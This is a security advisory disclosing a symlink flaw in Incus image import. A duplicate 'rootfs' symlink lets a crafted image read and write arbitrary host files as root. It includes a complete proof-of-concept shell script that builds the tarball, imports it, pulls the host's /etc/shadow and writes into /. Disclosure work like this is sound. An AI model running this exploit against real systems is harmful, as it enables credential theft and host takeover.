### Summary

A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.


### Details

Incus validates an image as soon as it sees a normal `metadata.yaml` and a `rootfs/` entry, but full extraction can later process a duplicate top-level `rootfs` symlink. Later, the stopped-container file API opens `d.RootfsPath()` and passes that file descriptor to `forkfile`, which chroots to it.

```
metadata.yaml
rootfs/
rootfs -> /
```

In practice, this allows a malicious actor to access the host's filesystem with root privileges.


### PoC

Below, we map the container's rootfs to `/` on the host, but it can be mapped anywhere. We then retrieve the host's `/etc/shadow` file and create a file in `/`.

```
#!/bin/sh
set -eu

tmpdir=$(mktemp -d)
cleanup() {
rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP

mkdir -p "${tmpdir}/img/rootfs"
cat<<__EOF__>"${tmpdir}/img/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
description: PoC rootfs symlink host afrw
__EOF__

cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c * >../afrw-rootfs-symlink.tar

# inject rootfs symlink
rmdir rootfs
ln -s / rootfs
tar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs


incus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink
incus init afrw-rootfs-symlink afrw-rootfs-symlink


# read
incus file pull afrw-rootfs-symlink/etc/shadow "${tmpdir}/shadow"
cat "${tmpdir}/shadow"

# write
printf 'afrw-rootfs-symlink\n' >"${tmpdir}/afrw-rootfs-symlink"
incus file push "${tmpdir}/afrw-rootfs-symlink" afrw-rootfs-symlink/
```

### Impact

Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.